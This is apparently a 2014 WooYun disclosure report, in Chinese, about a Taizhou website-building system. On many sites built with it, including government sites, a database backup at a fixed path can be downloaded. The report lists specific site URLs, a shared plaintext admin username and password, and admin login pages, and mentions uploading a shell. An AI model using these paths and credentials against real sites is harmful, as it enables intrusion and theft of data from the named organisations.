漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-081753
漏洞标题：某通用建站系统数据库备份可下载
相关厂商：台州华顶网络技术有限公司
漏洞作者： 小饼仔
提交时间：2014-11-05 10:11
修复时间：2015-02-03 10:12
公开时间：2015-02-03 10:12
漏洞类型：任意文件遍历/下载
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-05： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-03： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
180左右的官网案例，其中包括若干政府网站，不走小厂商了吧
详细说明：
公司介绍见
http://www.wooyun.org/bugs/wooyun-2014-081663/trace/1b8eeea3b409c968cea424fa0c26d2db
和
http://www.wooyun.org/bugs/wooyun-2014-081643/trace/4396818394b9b59fdfdd9a1da75a1883
两个漏洞
这个和上面两个是同一家公司
公司案例中，如果管理员备份过数据库，那么数据库备份文件会存储在/admin/database/HDEWeb.mdb
访问公司网址+/admin/database/HDEWeb.mdb即可下载
虽然只有一部分公司有备份过数据库，但是打开数据备份后，发现后台管理员账号密码明文存储，而且是通用账号密码,进入后台后，可以上传shell
下面是证明
1. 数据库备份下载（只有备份过才会有该文件）
http://www.tzyuanlin.com/admin/database/HDEWeb.mdb
http://www.tztengrong.com/admin/database/HDEWeb.mdb
http://www.xinhulaw.com/admin/database/HDEWeb.mdb
http://www.tzyiming.com/admin/database/HDEWeb.mdb
...
2. 明文存储管理员账号密码
账号密码 admin admin2325
3. 证明是通用后台管理员账号密码
http://www.tzyuanlin.com/admin/
http://www.tzzy.gov.cn/admin/
http://tzjz.com.cn/admin/
```
4. 上传shell
这部分见
http://www.wooyun.org/bugs/wooyun-2014-081663/trace/1b8eeea3b409c968cea424fa0c26d2db
里面已经说的很详细了
漏洞证明：
修复方案：
版权声明：转载请注明来源 小饼仔@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝